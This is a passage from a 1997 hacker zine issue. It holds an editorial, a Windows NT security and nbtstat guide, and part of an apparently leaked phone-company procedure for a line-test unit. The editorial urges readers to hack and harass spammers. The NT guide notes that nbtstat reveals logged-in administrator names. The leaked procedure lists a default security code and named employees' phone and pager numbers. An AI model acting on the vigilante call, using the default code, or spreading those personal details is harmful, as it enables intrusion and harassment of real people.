home *** CD-ROM | disk | FTP | other *** search
/ Cuteskunk BBS / cuteskunk.zip / cuteskunk / unsorted-zines / thtj15.txt < prev    next >
Text File  |  2003-06-29  |  220KB  |  5,891 lines

  1.     ╒══════════════════════════════════════════════════════════════════╕
  2.     │the havoc technical journal     - http://www.thtj.com -           │▒
  3.     └──────────────────────────────────────────────────────────────────┘▒
  4.     ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
  5.   
  6.  vol. 2 no. 3 issue 15 │ October 1, 1997 │ a thtj communications publication
  7. ═────────────────────────────────────────────────────────────────────────────═
  8.     
  9.                 ╒══════════════════════════════════════╕
  10.                -│ the havoc technical journal issue 15 │-
  11.                 └──────────────────────────────────────┘
  12.               Editorial..............................Scud-O
  13.               Windows NT Security Education Guide....NeonSurge
  14.               Single Access Serving System (SASS)....anonymous  
  15.               BSDI FTP CORE DUMPS....................Bronc Buster
  16.               Security/Monitoring Tools..............Shok
  17.               Cryptanalytic Attacks..................The Messiah 
  18.               Shadow files explained.................Shypht
  19.               SMTP server scanner....................memor
  20.               About The Internet Protocol............Malhavoc
  21.               ShokDial - a linux war dialer..........Shok
  22.               Under The Hood of Blowfish.............The Messiah
  23.               Learning to Count All Over Again.......Bronc Buster
  24.               scan.c.................................memor
  25.               Vuls in Solaris 2.5.1..................Shok
  26.               Operating Systems......................Fucking Hostile
  27.               Hacking your way to DOS................Devix
  28.               A phreak's dream come true.............Kode9
  29.               Rat Shak Shopping Made Easy............N-TREEG
  30.               Telephone Conferencing.................DataThief
  31.               How To Make A Cattleprod...............The Messiah
  32.               Securing Linux.........................KiDMaGiC
  33.               Social Insurance Numbers...............Devix
  34.               Stupid Unix Pranks.....................The Darkling
  35.               Oddville, THTJ.........................Scud-O
  36.               The News...............................KungFuFox
  37.                 
  38.             ────────────────────────────────────────────────
  39.                 ╒══════════════════════════════════════╕
  40.                 │           the NEW thtj.com           │
  41.                 │               ────────               │
  42.                 │ coming soon from thtj communications │
  43.                 └──────────────────────────────────────┘
  44.  
  45. Shouts go out to all my people on the block:
  46. The writers. You're the ones that make thtj run, and it is you that help to 
  47. keep the community informed. We owe you.
  48.  
  49. Other Shouts out go to:
  50.        All of #phreak, #hackers, #hackphreak,
  51.        #carparts, #linuxos, #phrack, (you all know who you are)
  52.        
  53. ═────────────────────────────────────────────────────────────────────────────═
  54.  
  55.                 ╒══════════════════════════════════════╕
  56.                 │the havoc technical journal - contacts│ 
  57.                 └──────────────────────────────────────┘
  58.  
  59. - Editor in Chief : Scud-O, scud@thtj.com
  60. - Assistant Editor : KungFuFox, mazer@cycat.com
  61. - Submissions Editor: Keystroke, keystroke@thepentagon.com
  62. - thtj email address: thtj@thtj.com
  63. - thtj website: http://www.thtj.com/
  64. - thtj mailing address: PO BOX 448 Sykesville, MD 21784
  65.  
  66.   The Havoc Technical Journal Vol. 2, No.3, October 1, 1997.  
  67.   A THTJ Communications publication.  Contents Copyright (⌐) 
  68.   1997 THTJ Communications.  All Rights Reserved.  No part of 
  69.   this publication may be reproduced in whole or in part 
  70.   without the expressed written consent of the Editor in Chief 
  71.   of The Havoc Technical Journal. [No copying THTJ, damnit.]
  72.   
  73.   The Havoc Technical Journal does in no way endorse the 
  74.   illicit use of computers, computer networks, and 
  75.   telecommunications networks, nor is it to be held liable 
  76.   for any adverse results of pursuing such activities.
  77.  
  78.   The articles provided in this magazine are without any 
  79.   expressed or implied warranties. While every effort has been 
  80.   taken to ensure the accuracy of the information contained in 
  81.   this article, the authors, editors, and contributors of this 
  82.   zine assume no responsibility for errors or omissions, or for 
  83.   damages resulting from the use of the information contained 
  84.   herein.
  85.  
  86.   For infomation about using articles published in THTJ, send mail to:
  87.   e-mail: thtj@thtj.com │  mail: THTJ PO Box 448 Sykesville, MD 21784
  88.  
  89.   NOTICE: If you are an official of a government or an employee 
  90.   of a government, you must register with THTJ before reading 
  91.   any issue of this publication. A registration form will be 
  92.   mailed to you free of charge by using either of the mailing 
  93.   addresses above. Upon reception of this form you will be granted
  94.   privelege to read all issues of The Havoc Technical Journal.
  95.   Until you have registered, you are not authorized to read this
  96.   or any issues of THTJ.
  97.   
  98. ═────────────────────────────────────────────────────────────────────────────═
  99. Editorial 
  100. by Scud-O
  101.  
  102.        The NEW thtj.
  103.  
  104. Well, with all great plans, the 'new thtj' that was scheduled for thtj14 is a 
  105. month late, and here it is. I hope you enjoy it. I personally think that this 
  106. is the best issue yet. This month as some of you know, I was fairly
  107. intoxicated, and seriously looked into giving up thtj. However, thanks to all
  108. of you out there, the staff of thtj communications, HBS, #phreak, the
  109. writers, and the editors, it all came together, and so, here is thtj15, 
  110. bigger, badder, and kicking more ass.
  111.        This issue also marks a change that you may or may not have noticed.
  112. thtj is now produced by thtj communications, inc. Havoc Bell Systems no
  113. longer publishes thtj, since it seems that so many of you thought that you
  114. had to be in HBS to write for thtj. This is entirely false. Anyone and
  115. everyone is free to write for thtj. HBS is not dying, but we will hopefully 
  116. be able to focus more on group stuff, and less about thtj deadlines now that
  117. thtj isn't officially in our hands..
  118.        The redesigned thtj.com site is about to be coming at you, with a lot
  119. of new things that will hopefully make your life easier, and *gasp* more
  120. complete. thtj.com is finally going to have a majordomo or two up, have some
  121. e-mail forwarders for instant, easy access to current thtj issues, and
  122. article submission information. The www site is also going to improve. A
  123. bunch of you have said that the site is fairly lynx friendly, but it needs
  124. work. Less graphics and more content are on their way, as are some new cgis,
  125. wwwboards, and redesigned pages for distribution as well as submissions. 
  126. Last, but certainly not least, will be the new main page. I am adding site
  127. links and info up top, so that all of you can skip over my rantings in the
  128. message of the day section. I am also hoping to make a forum for everyone to
  129. discuss their issues or problems with the community, so if you would like to
  130. contribute to that, get a hold of me.
  131.  
  132.        Finally this month, before I am done, I would like to talk with you
  133. about some things that need to be done, and somethings I would like to see on
  134. thtj.com. I have found various sources on the net for helping to block and
  135. protect your site and your sendmail from spammers using your site as a
  136. transfer site for their e-mail, to protect their servers from the flames. I
  137. am going to be adding some code for this, and other security info for you,
  138. since if you have a system up, you are just as curious about setting up
  139. system security as you are breaking it up.
  140.        The reason I bring this all up is that spam is a serious problem.
  141. Retards like the 'spam king' (who recently had his servers disconnected)
  142. think that we all like having e-mail telling us about stupid products. The
  143. fact that we all know is that no one wants this shit. If you own your own
  144. domain you know about all this. You get hundreds of spam letters offering
  145. 'web registering services' and all the trash. We need to stop this, and we
  146. would, or could, but losers like the aformentioned 'spam king' using many
  147. servers to redirect their mail, and not let you know who the mail is from, so
  148. you cannot ask him to stop. Securing your site with the code I talked about 
  149. is a step, but go beyond that. Spammers have ruined parts of the net, but not 
  150. all of it. Take action, strike back, hack them, harrass them, spam them, make 
  151. them learn to go fuck themselves. Well, thank you for the time it took you to 
  152. read may rants.
  153.  
  154.             Scud-O , Founder, and Editor in Chief of THTJ
  155.              ═────────────────────────────────────────═                
  156.        Scud-O and HBS would like to hear your views on this commentary.
  157.        Please feel free to e-mail us at: scud@thtj.com
  158.  
  159.     ----------------------------------------------
  160.   /       ---/   --/  /   /  |  /------/   /    /
  161.  /---       /-----/------/-----/      /   /    /
  162. /----------/                         /--------/
  163.            -of HAVOC Bell Systems-
  164.  
  165.         scud@thtj.com │ http://www.thtj.com  
  166.  
  167. ═────────────────────────────────────────────────────────────────────────────═
  168. The Windows NT Security Education Guide (SEG) Part One 
  169. by NeonSurge of Shatter 
  170. (neonsurge@hotmail.com)
  171.  
  172. NT Security components and subsystem
  173.  
  174. The Logon Process
  175.  
  176.   WinLogon
  177.  
  178. Users must log on to a Windows NT machine in order to use that NT based
  179. machine or network. The logon process itself cannot be bypassed, it is
  180. mandatory. Once the user has logged on, an access token is created (this
  181. token will be discussed in more detail later). This token contains user
  182. specific security information, such as: security identifier, group
  183. identifiers, user rights and permissions. The user, as well as all processes
  184. spawned by the user are identified to the system with this token.
  185.  
  186.  
  187. The first step in the WinLogon process is something we are all familiar with,
  188. CTRL+ALT+DEL. This is NT's default Security Attention Sequence (SAS - The SAS
  189. key combo can be changed. We will also discuss that later.). This SAS is a
  190. signal to the operating system that someone is trying to logon.  After the
  191. SAS is triggered, all user mode applications pause until the security
  192. operation completes or is cancelled. (Note: The SAS is not just a logon
  193. operation, this same key combination can be used for logging on, logging off,
  194. changing a password or locking the workstation.) The pausing, or closing, of
  195. all user mode applications during SAS is a security feature that most people
  196. take for granted and dont understand. Due to this pausing of applications,
  197. logon related trojan viruses are stopped, keyloggers (programs that run in
  198. memory, keeping track of keystrokes, therefor recording someones password)
  199. are stopped as well.
  200.  
  201. The user name is not case sensitive but the password is.
  202.  
  203. After typing in your information and clicking OK (or pressing enter), the
  204. WinLogon process supplies the information to the security subsystem, which
  205. in turn compares the information to the Security Accounts Manager (SAM). If
  206. the information is compliant with the information in the SAM, an access token
  207. is created for the user. The WinLogon takes the access token and passes it
  208. onto the Win32 subsytem, which in turn starts the operating systems shell.
  209. The shell, as well as all other spawned processes will receive a token. This
  210. token is not only used for security, but also allows NTs auditing and logging
  211. features to track user usage and access of network resources.
  212.  
  213.  
  214. Note: All of the logon components are located in a file known as the
  215. Graphical Indetification and Authentication (GINA) module, specifically
  216. MSGINA.DLL. Under certain conditions, this file can be replaced, which is
  217. how you would change the SAS key combination.
  218.  
  219. For fine tuning of the WinLogon process, you can refer to the registry. All
  220. of the options for the WinLogon process are contained in the
  221. HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon area.
  222. You can also fine tune the process by using the Policy Editor.
  223.  
  224.  
  225. Logging on to a Domain
  226.  
  227. If an NT machine is a participant on a Domain, you would not only need to
  228. login to the local machine, but the Domain as well. If a computer is a member
  229. of a Domain, the WinLogon process is replaced by the NetLogon process.
  230.  
  231.  
  232. Components
  233.  
  234. Local Security Authority (LSA): Also known as the security subsystem, it is
  235.                           the central portion of NT security. It handles
  236.                           local security policies and user
  237.                           authentication. The LSA also handles
  238.                           generating and logging audit messages.
  239.  
  240.  
  241. Security Accounts Manager (SAM): The SAM handles user and group accounts, and
  242.                             provides user authentication for the LSA.
  243.  
  244. Security Reference Monitor (SRM): The SRM is in charge of enforcing and
  245.                             assuring access validation and auditing for
  246.                             the LSA. It references user account
  247.                             information as the user attempts to access
  248.                             resources.
  249.  
  250. TCP/IP Security in NT
  251.  
  252. Note: This section is not meant to teach you the concepts behind the TCP/IP
  253. protocol. It is assumed that a working knowledge of TCP/IP can be applied.
  254.  
  255.  
  256.     Windows NT has a built in TCP/IP security functionality that most
  257.        people do not use or know about. This functionality enables you to
  258.        control the types of network traffic that can reach your NT servers.
  259.        Access can be allowed or denied based on specific TCP ports, UDP
  260.        ports, and IP protocols. This type of security is normally applied to
  261.        servers connected directly to the internet, which is not recommended.
  262.  
  263.     Do configure NT's built in TCP/IP security, follow these steps:
  264.  
  265.     1 - Right click on Network Neighborhood and goto the properties
  266.           option.
  267.  
  268.     2 - Select the Protocols tab, highlight TCP/IP and click on
  269.           Properties.
  270.  
  271.        3 - Select the IP address tab of the TCP/IP properties screen.
  272.  
  273.     4 - Check the check box that reads "Enable Security".
  274.  
  275.     5 - Click on Configure
  276.     
  277.     You should now be looking at the TCP/IP Security dialog, which has
  278.        the following options:
  279.  
  280.     -Adapter: Specifies which of the installed network adapter cards you
  281.                are configuring
  282.     -TCP Ports
  283.     -UDP Ports
  284.     -IP Protocols
  285.  
  286.     Within these settings, you would choose which ports and what access
  287.        permissions you would like to assign to those ports. The following
  288.        list is a list of the well known TCP/IP ports. This is not an in
  289.        depth guide, just a quick reference (For more details, check RFC 1060).
  290.  
  291.    
  292.   Service                Port           Comments   
  293.  
  294.    TCP Ports
  295.    echo             7/tcp
  296.    discard          9/tcp          sink null
  297.    systat           11/tcp         users
  298.    daytime          13/tcp
  299.    netstat          15/tcp
  300.    qotd             17/tcp         quote
  301.    chargen          19/tcp         ttytst source
  302.    ftp-data         20/tcp
  303.    ftp              21/tcp
  304.    telnet           23/tcp
  305.    smtp             25/tcp         mail
  306.    time             37/tcp         timserver
  307.    name             42/tcp         nameserver
  308.    whois            43/tcp         nicname
  309.    nameserver       53/tcp         domain
  310.    apts             57/tcp         any private terminal service
  311.    apfs             59/tcp         any private file service
  312.    rje              77/tcp         netrjs
  313.    finger           79/tcp
  314.    http                 80/tcp
  315.    link             87/tcp         ttylink
  316.    supdup           95/tcp
  317.    newacct          100/tcp        [unauthorized use]
  318.    hostnames        101/tcp        hostname
  319.    iso-tsap         102/tcp        tsap
  320.    x400             103/tcp
  321.    x400-snd         104/tcp
  322.    csnet-ns         105/tcp        CSNET Name Service
  323.    pop-2            109/tcp        pop postoffice
  324.    sunrpc           111/tcp
  325.    auth             113/tcp        authentication
  326.    sftp             115/tcp
  327.    uucp-path        117/tcp
  328.    nntp             119/tcp        usenet readnews untp
  329.    ntp              123/tcp        network time protocol
  330.    statsrv          133/tcp
  331.    profile          136/tcp
  332.    NeWS             144/tcp        news
  333.    print-srv        170/tcp
  334.    exec             512/tcp        remote process execution;
  335.                             authentication performed using
  336.                             passwords and UNIX loppgin names
  337.    login            513/tcp        remote login a la telnet;
  338.                             automatic authentication performed
  339.                             based on priviledged port numbers
  340.                             and distributed data bases which
  341.                             identify "authentication domains"
  342.    cmd              514/tcp        like exec, but automatic
  343.                             authentication is performed as for
  344.                             login server
  345.    printer          515/tcp        spooler
  346.    efs              520/tcp        extended file name server
  347.    tempo            526/tcp        newdate
  348.    courier          530/tcp        rpc
  349.    conference       531/tcp        chat
  350.    netnews          532/tcp        readnews
  351.    uucp             540/tcp        uucpd
  352.    klogin           543/tcp
  353.    kshell           544/tcp        krcmd
  354.    dsf              555/tcp
  355.    remotefs         556/tcp        rfs server
  356.    chshell          562/tcp        chcmd
  357.    meter            570/tcp        demon
  358.    pcserver         600/tcp        Sun IPC server
  359.    nqs              607/tcp        nqs
  360.    mdqs             666/tcp
  361.    rfile            750/tcp
  362.    pump             751/tcp
  363.    qrh              752/tcp
  364.    rrh              753/tcp
  365.    tell             754/tcp        send
  366.    nlogin           758/tcp
  367.    con              759/tcp
  368.    ns               760/tcp
  369.    rxe              761/tcp
  370.    quotad           762/tcp
  371.    cycleserv        763/tcp
  372.    omserv           764/tcp
  373.    webster          765/tcp
  374.    phonebook        767/tcp        phone
  375.    vid              769/tcp
  376.    rtip             771/tcp
  377.    cycleserv2       772/tcp
  378.    submit           773/tcp
  379.    rpasswd          774/tcp
  380.    entomb           775/tcp
  381.    wpages           776/tcp
  382.    wpgs             780/tcp
  383.    mdbs                 800/tcp
  384.    device           801/tcp
  385.    maitrd           997/tcp
  386.    busboy           998/tcp
  387.    garcon           999/tcp
  388.    blackjack        1025/tcp       network blackjack
  389.    bbn-mmc          1347/tcp       multi media conferencing
  390.    bbn-mmx          1348/tcp       multi media conferencing
  391.    orasrv           1525/tcp       oracle
  392.    ingreslock       1524/tcp
  393.    issd             1600/tcp
  394.    nkd              1650/tcp
  395.    dc               2001/tcp
  396.    mailbox          2004/tcp
  397.    berknet          2005/tcp
  398.    invokator        2006/tcp
  399.    dectalk          2007/tcp
  400.    conf             2008/tcp
  401.    news             2009/tcp
  402.    search           2010/tcp
  403.    raid-cc          2011/tcp       raid
  404.    ttyinfo          2012/tcp
  405.    raid-am          2013/tcp
  406.    troff            2014/tcp
  407.    cypress          2015/tcp
  408.    cypress-stat     2017/tcp
  409.    terminaldb       2018/tcp
  410.    whosockami           2019/tcp
  411.    servexec         2021/tcp
  412.    down             2022/tcp
  413.    ellpack          2025/tcp
  414.    shadowserver         2027/tcp
  415.    submitserver     2028/tcp
  416.    device2          2030/tcp
  417.    blackboard       2032/tcp
  418.    glogger          2033/tcp
  419.    scoremgr         2034/tcp
  420.    imsldoc          2035/tcp
  421.    objectmanager        2038/tcp
  422.    lam              2040/tcp
  423.    interbase        2041/tcp
  424.    isis             2042/tcp
  425.    rimsl            2044/tcp
  426.    dls              2047/tcp
  427.    dls-monitor      2048/tcp
  428.    shilp            2049/tcp
  429.    NSWS             3049/tcp
  430.    rfa              4672/tcp       remote file access server
  431.    complexmain      5000/tcp
  432.    complexlink      5001/tcp
  433.    padl2sim         5236/tcp
  434.    man              9535/tcp
  435.    
  436.    
  437.    UDP Ports
  438.    echo             7/udp
  439.    discard          9/udp          sink null
  440.    systat           11/udp         users
  441.    daytime          13/udp
  442.    netstat          15/udp
  443.    qotd             17/udp         quote
  444.    chargen          19/udp         ttytst source
  445.    time             37/udp         timserver
  446.    rlp              39/udp         resource
  447.    name             42/udp         nameserver
  448.    whois            43/udp         nicname
  449.    nameserver       53/udp         domain
  450.    bootps           67/udp         bootp
  451.    bootpc           68/udp
  452.    tftp             69/udp
  453.    sunrpc           111/udp
  454.    erpc             121/udp
  455.    ntp              123/udp
  456.    statsrv          133/udp
  457.    profile          136/udp
  458.    snmp             161/udp
  459.    snmp-trap        162/udp
  460.    at-rtmp          201/udp
  461.    at-nbp           202/udp
  462.    at-3             203/udp
  463.    at-echo          204/udp
  464.    at-5             205/udp
  465.    at-zis           206/udp
  466.    at-7             207/udp
  467.    at-8             208/udp
  468.    biff             512/udp        used by mail system to notify users
  469.                             of new mail received; currently
  470.                             receives messages only from
  471.                             processes on the same machine
  472.    who              513/udp        maintains data bases showing who's
  473.                             logged in to machines on a local
  474.                             net and the load average of the
  475.                             machine
  476.    syslog           514/udp
  477.    talk             517/udp        like tenex link, but across
  478.                             machine - unfortunately, doesn't
  479.                             use link protocol (this is actually
  480.                             just a rendezvous port from which a
  481.                             tcp connection is established)
  482.    ntalk            518/udp
  483.    utime            519/udp        unixtime
  484.    router           520/udp        local routing process (on site);
  485.                             uses variant of Xerox NS routing
  486.                             information protocol
  487.    timed            525/udp        timeserver
  488.    netwall          533/udp        for emergency broadcasts
  489.    new-rwho         550/udp        new-who
  490.    rmonitor         560/udp        rmonitord
  491.    monitor          561/udp
  492.    meter            571/udp        udemon
  493.    elcsd            704/udp        errlog copy/server daemon
  494.    loadav           750/udp
  495.    vid              769/udp
  496.    cadlock          770/udp
  497.    notify           773/udp
  498.    acmaint_dbd          774/udp
  499.    acmaint_trnsd        775/udp
  500.    wpages           776/udp
  501.    puparp           998/udp
  502.    applix           999/udp        Applix ac
  503.    puprouter        999/udp
  504.    cadlock          1000/udp
  505.    hermes           1248/udp
  506.    wizard           2001/udp       curry
  507.    globe            2002/udp
  508.    emce             2004/udp       CCWS mm conf
  509.    oracle           2005/udp
  510.    raid-cc          2006/udp       raid
  511.    raid-am          2007/udp
  512.    terminaldb       2008/udp
  513.    whosockami           2009/udp
  514.    pipe_server      2010/udp
  515.    servserv         2011/udp
  516.    raid-ac          2012/udp
  517.    raid-cd          2013/udp
  518.    raid-sf          2014/udp
  519.    raid-cs          2015/udp
  520.    bootserver       2016/udp
  521.    bootclient       2017/udp
  522.    rellpack         2018/udp
  523.    about            2019/udp
  524.    xinupagesrver    2020/udp
  525.    xinuexpnsion1        2021/udp
  526.    xinuexpnsion2        2022/udp
  527.    xinuexpnsion3        2023/udp
  528.    xinuexpnsion4        2024/udp
  529.    xribs            2025/udp
  530.    scrabble         2026/udp
  531.    isis             2042/udp
  532.    isis-bcast       2043/udp
  533.    rimsl            2044/udp
  534.    cdfunc           2045/udp
  535.    sdfunc           2046/udp
  536.    dls              2047/udp
  537.    shilp            2049/udp
  538.    rmontor_scure    5145/udp
  539.    xdsxdm           6558/udp
  540.    isode-dua        17007/udp
  541.  
  542.  
  543.  
  544.  
  545. The Nbtstat Command
  546.  
  547. This tool should be known, because it can give you tons of info about an NT
  548. server. It can be used to query the network concerning netbios information.
  549. It can also be useful for purging the netbios cache and reloading the LMHOSTS
  550. file. This one command can be extremely useful when performing security
  551. audits. When one knows how to interpret the information, it can reveal more
  552. than one might think.
  553.  
  554. Usage:   nbtstat [-a RemoteName] [-A IP_address] [-c] [-n] [-R] [-r] [-S] [-s]
  555.               [interval]
  556.  
  557. Switches  -a      Lists the remote computer's name table given its host
  558.                     name.
  559.  
  560.              -A      Lists the remote computer's name table given its IP
  561.                     address.
  562.  
  563.         -c      Lists the remote name cache including the IP addresses.
  564.                     Lists the remote name cache including the IP
  565.                     addresses Lists local NetBIOS names. Lists names
  566.                     resolved by broadcast and via WINS Purges and reloads
  567.                     the remote cache name table Lists sessions table with
  568.                     the destination IP addresses.
  569.                     Lists sessions table converting destination IP
  570.                     addresses to host names via the hosts file. 
  571.  
  572.         -n      Lists local NetBIOS names.
  573.  
  574.         -r       Lists names resolved by broadcast and via WINS.
  575.  
  576.         -R     Purges and reloads the remote cache name table.
  577.  
  578.         -S      Lists sessions table with the destination IP addresses.
  579.  
  580.         -s      Lists sessions table converting destination IP
  581.                     addresses to host names via the hosts file.
  582.  
  583.         interval          This will redisplay the selected statistics,
  584.                             pausing for the number of seconds you choose
  585.                             as "interval" between each listing.
  586.                             Press CTRL+C to stop.
  587.  
  588. Notes on NBTSTAT
  589.  
  590. The column headings generated by NBTSTAT have the following meanings:
  591.  
  592. Input 
  593.     Number of bytes received.
  594.  
  595. Output 
  596.     Number of bytes sent.
  597.  
  598. In/Out 
  599.     Whether the connection is from the computer (outbound) or from another
  600.     system to the local computer (inbound).
  601.  
  602. Life 
  603.     The remaining time that a name table cache entry will "live" before your
  604.     computer purges it.
  605.  
  606. Local Name 
  607.     The local NetBIOS name given to the connection.
  608.  
  609. Remote Host 
  610.     The name or IP address of the remote host.
  611.  
  612. Type 
  613.     A name can have one of two types: unique or group. 
  614.     The last byte of the 16 character NetBIOS name often means something
  615.     because the same name can be present multiple times on the same computer.
  616.     This shows the last byte of the name converted into hex.
  617.  
  618. State 
  619.     Your NetBIOS connections will be shown in one of the following "states":
  620.  
  621.     State                   Meaning
  622.     
  623.     Accepting           An incoming connection is in process.
  624.  
  625.     Associated        The endpoint for a connection has been created and
  626.                    your computer has ssociated it with an IP address.
  627.  
  628.     Connected        This is a good state! It means you're connected to the
  629.                   remote resource.
  630.  
  631.     Connecting       Your session is trying to resolve the name-to-IP
  632.                   address mapping of the destination resource.
  633.  
  634.     Disconnected   Your computer requested a disconnect, and it is waiting
  635.                 for the remote computer to do so.
  636.  
  637.     Disconnecting  Your connection is ending.
  638.  
  639.     Idle                 The remote computer has been opened in the current
  640.                     session, but is currently not accepting connections.
  641.  
  642.     Inbound              An inbound session is trying to connect.
  643.  
  644.     Listening            The remote computer is available.
  645.  
  646.     Outbound             Your session is creating the TCP connection.
  647.  
  648.     Reconnecting   If your connection failed on the first attempt, it will
  649.                 display this state as it tries to reconnect.
  650.  
  651. 16th Byte character Values for NetBios names
  652.  
  653. <00>    Workstation service name
  654. <03>    Messenger service name
  655. <1B>    Domain Master Browser name
  656. <06>    RAS Server service
  657. <1F>    NetDDE service
  658. <20>    Server service name
  659. <21>    RAS Client
  660. <BE>   Network monitor agent
  661. <BF>   Network monitor utility
  662. <1C>   Domain group name
  663. <1D>   Master browser name
  664. <1E>   Normal group name
  665. _MSBROWSE_   Domain master browser
  666.  
  667. The messenger service name <03> will give you the name of any users currently
  668. logged onto that machine, including the administrator account name.
  669.  
  670.  
  671. Thats about it for part one. Look out for future releases. Question or
  672. Comments to NeonSurge@hotmail.com
  673.  
  674. ═────────────────────────────────────────────────────────────────────────────═
  675. Single Access Serving System (SASS)          
  676. (anonymous)
  677.  
  678.                             PROCESS 
  679.                           DOCUMENTATION  
  680.     
  681.  
  682. Santa Ana, April 8, 1997 
  683.  
  684. SUBJECT   
  685. Single Access Serving System (SASS).
  686.     
  687. REASON FOR ISSUANCE 
  688. This document will provide an EM Communication Technician with installation 
  689. procedures for the Single Access Serving System (SASS)
  690.     
  691. SWITCH TYPES AFFECTED    
  692. 5ESS, DMS100 and 1AESS
  693.     
  694. GENERIC/BCS REQUIRED     
  695. None
  696.     
  697. WORK FUNCTIONS AFFECTED  
  698. Local Field Operations (LFO) EM Communication Technicians
  699.     
  700. EFFECTIVE / CRITICAL DATES     
  701. Effective immediately.   
  702.  
  703. TRACKING CODE  
  704. Baseline
  705.     
  706. QUESTIONS 
  707. Questions regarding this document may be directed to Michele Baker at (714) 
  708. 430-6640
  709.     
  710. GENERAL INFORMATION 
  711. SASS is a transmission conditioning unit, a printed wiring card that employs 
  712. a microprocessor control of test functions and provides voice prompting.  The
  713. card is installed in an MFT bay and connected to the switch through an 
  714. outgoing trunk.  A dedicated POTS line is required for the ringback feature.
  715. This Single Serving Access System will allow both outside field technicians 
  716. as well as LFO technicians the ability to perform multiple test functions 
  717. using one access number.  
  718.  
  719. The Unit Test Features are:
  720.     
  721. - ANI
  722. - Single Tone Generation
  723. - Three Tone slope
  724. - Ten Tone Slope
  725. - Full Tone Sweep
  726. - Caller ID Transmission
  727. - Data Sweep
  728. - Quiet Termination
  729. - Keypad Test
  730.     
  731. CENTRAL OFFICE (CO) 
  732. REQUIREMENTS    
  733. 1. An MFT slot
  734. 2. An outgoing trunk OR A D4 port equipped with a DPT Channel Unit.
  735. 3. A new Trunk Group assignment will be established
  736. 4. The SASS Access Number wil need to be route indexed to the trunk or port 
  737.    assigned.
  738. 5. Assignment and cross connect to a POTS line for ringback capabilities. 
  739.  
  740. CENTRAL OFFICE (CO) 
  741. PROCESS (1) Wiring the Circuit
  742. 1. You will receive two service orders for your SASS circuit. One for the 
  743. design itself (se word) and one for the POTS line (1ML) associated with it.  
  744. The POTS order will consist of only an OE assignment used for ringback 
  745. capabilities. 
  746.  
  747. NOTE 1)  The design portion of your order will resemble a DID circuit.
  748. NOTE 2)  Every effort will be made to use a digital trunk assignment, 
  749.         however, if none are available, an analog trunk will be used in its 
  750.         place.  
  751. NOTE 3)  Make sure the channel unit used in the circuit is a D4CD200 
  752.         (terminating).
  753.  
  754. CENTRAL OFFICE (CO) 
  755. PROCESS (2) Installing and Optioning The Channel Unit 
  756. Install the SASS Unit into the designated MFT slot.  Once the plug-in has 
  757. been installed it should be optioned according to the manufacturers 
  758. instructions on the card.  
  759.     
  760. CENTRAL OFFICE (CO) 
  761. PROCESS (3) Initial Power-Up Verification 
  762. Once the SASS unit is installed and optioned the Initial Power-up 
  763. verification must be performed at the unit itself.  
  764.  
  765. CENTRAL OFFICE (CO)
  766. PROCESS (4) Procedure for Setting Transmission Levels 
  767. Once the SASS unit has passed the Initial Power-up verification the 
  768. Transmission Levels must be set for the unit.  The following is the procedure 
  769. for setting transmission levels on a newly installed SASS Unit.  This 
  770. function must be performed at the mainframe to any pair assigned to an OE in 
  771. the respective switch in which the SASS unit was installed.  The pair must be 
  772. open and the reading taken toward the line card.   
  773.     
  774. STEP ACTION    
  775. 1 At the mainframe, remove the coils from any working pair assigned to an OE
  776.   in the respective switch.     
  777. 2 Draw dial tone on the OE side of the open and dial the SASS access number. 
  778. 3 Enter the SASS Security Code after the number announcement.  The default
  779.   Security Code is 222-2222.
  780. 4 Press 3 to Read or Change Prefixes
  781. 5 Press 5 to Generate Test Tone.
  782. 6 Enter * to Generate System Tone
  783. 7 Measure Tone with a transmission measurement test set.  Should measure a
  784.   level of 0dbBRNC.   
  785. NOTE 1)  Adjustments may be made by; entering a 6 to increase level by 0.1 dB 
  786. each time the 6 is depressed, or entering 7 to decrease the level by 0.1 dB 
  787. each time the 7 is depressed.   
  788. 8 When you have completed setting the db levels, hangup to terminate the 
  789.   call. 
  790. 9 A test must be performed on least three (3) prefixes to determine whether 
  791.   the db levels were set correctly in all prefixes..  A deviation of + or 
  792.   -1/2 db is acceptable.  If tests reveal any variance greater than + or -1/2 
  793.   db, you must repeat the procedure for Setting Tranmission Levels for every 
  794.   prefix.
  795.     
  796. CENTRAL OFFICE (CO)
  797. PROCESS (5) Testing The Newly Installed SASS Unit 
  798. When the SASS installation is complete, call the Test System Health Group to 
  799. test the newly installed unit.  They will in turn close the order out with 
  800. OCS.  
  801.  
  802. CENTRAL OFFICE (CO)
  803. PROCESS (6) Troubleshooting A Newly Installed SASS Unit 
  804. When the SASS installation is complete, the Initial Power-up verification has 
  805. been performed, the transmission levels have been set and your circuit is 
  806. still not turned up, try the following troubleshooting procedures.  
  807.  
  808. CENTRAL OFFICE (CO)
  809. PROCESS (7) Who To Call When You Have Questons Concerning:
  810.     
  811. Closing out your order   Test System Health Group 
  812. SASS Project             SASS Project Team   
  813. Word order asignments    FACS Administrator  
  814. Spares                   PICS 
  815. Test coordination        Test System Health Group 
  816. Translations             NTG  
  817. This document            PP&STM    
  818. Trunk Assignments        NTG  
  819.  
  820. CONTACT NUMBERS          
  821.                 
  822. NTG  
  823. - South Trouble Desk  (619) 886-1988 
  824. - North Trouble Desk  (916) xxx-xxxx 
  825.                 
  826. PADS 
  827. - South  (619) 886-1988 
  828. - North  (916) xxx-xxxx 
  829.         
  830. PICS  
  831. - (not provided)
  832.  
  833. Process, Product & System Technical Management (PP&STM)     
  834. - Michele Baker  Voice/Voice mail  (714) 430-6640 
  835.               Pager Number      (714) 755-8424 
  836.                 
  837. Test System Health Group 
  838. - (Statewide)    Voice  (800) 694-4732 
  839.                 
  840. SASS Project Team   
  841. - Bruce Poole    Voice/Voice mail  (209) 454-3197 
  842.               Pager Number      (510) 904-7574 
  843.  
  844. REFERENCES     
  845. Harris 
  846. Dracon Division 
  847. Single Access Serving System (SASS)
  848. Transmission Condititoning Unit
  849. Model 24800-300
  850. Service Manual
  851. 011-724800-300     (Issue 3 2/94)  
  852.     
  853. Harris (Addendum)
  854. Dracon Division 
  855. SASS
  856. Transmission Condititoning Unit
  857. Model 24800-300
  858. Service Manual
  859. 011-724209-001     (Issue 5 6/96)  
  860.  
  861. Questions?
  862. At what point will I know that translations are typed in.  
